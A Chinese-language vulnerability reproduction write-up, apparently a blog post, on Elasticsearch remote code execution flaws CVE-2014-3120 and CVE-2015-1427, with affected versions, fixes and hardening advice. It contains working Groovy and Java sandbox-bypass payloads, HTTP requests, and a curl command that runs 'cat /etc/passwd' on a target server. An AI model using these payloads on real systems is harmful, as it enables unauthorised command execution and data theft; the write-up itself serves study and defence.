只有自己强大优秀,面对真挚的感情时才不会唯唯诺诺。
ElasticSearch 命令执行漏洞(CVE-2014-3120)
漏洞简介:
Elasticsearch是一个高度可扩展的开源全文搜索和分析引擎。它允许您快速,近实时地存储,搜索和分析大量数据。它通常用作底层引擎/技术,为具有复杂搜索功能和要求的应用程序提供支持。
ElasticSearch其有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。但其用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。
而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。
其实官方是清楚这个漏洞的,在文档里有说明:
1 | First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween. |
MVEL执行命令的代码如下:
1 | import java.io.*; |
影响版本:
ElasticSearch 1.2及其之前的版本
漏洞复现:
首先判断其目标系统存在elasticsearch,其版本为1.1.1
1 | [root@localhost ~]# curl http://192.168.15.130:9200 |
因为该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据:
1 | POST /website/blog/ HTTP/1.1 |
然后,插入payload去执行代码:
1 | POST /_search?pretty HTTP/1.1 |
修复方法
1.关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上:
1 | script.disable_dynamic: true |
2.升级到最新系统
ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)
漏洞背景:
在2014年爆出的(CVE-2014-3120)漏洞,漏洞产生的原因是由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行,也即是我们这次复现的漏洞:ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)。
影响版本:
影响版本是Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。
这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令。
目前已修复的版本是Elasticsearch 1.3.8 和 1.4.3,建议用户更新到最新版本。
漏洞复现:
攻击思路:
ElasticSearch支持使用“在沙盒中的”Groovy语言作为动态脚本,但显然官方的工作并没有做好。lupin和tang3分别提出了两种执行命令的方法:
- 既然对执行Java代码有沙盒,lupin的方法是想办法绕过沙盒,比如使用Java反射
- Groovy原本也是一门语言,于是tang3另辟蹊径,使用Groovy语言支持的方法,来直接执行命令,无需使用Java语言
所以,根据这两种执行漏洞的思路,我们可以获得两个不同的POC。
Java沙盒绕过法:
1 | java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText() |
Goovy直接执行命令法:
1 | def command='id';def res=command.execute().text;res |
漏洞测试:
首先先判断目标系统的elasticsearch是否可以正常访问
由于查询时至少要求es中有一条数据,所以我们发送如下数据包,增加一个数据:
1 | POST /website/blog/ HTTP/1.1 |
然后发送包含payload的数据包,执行任意命令:
1 | POST /_search?pretty HTTP/1.1 |
也可以使用火狐的插件hackbar去发送post数据包实现命令执行
或者使用curl去发送数据包实现命令执行
1 | curl -XPOST http://ip:9200/_search?pretty=true -d '{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}' |
python编写的POC
1 | #!/usr/bin/env python |
用法:
1 | python Elasticsearch.py target ifconfig |
修复方法:
关闭groovy沙盒以已停止动态脚本的使用:
1 | script.groovy.sandbox.enabled: false |
安全建议:
- elasticsearch禁止向外网开放
- elasticsearch在启动的时候以非root用户启动.
- 如果业务需要外网开放时,增加严格权限验证
- 关注官方动态,使用最新版本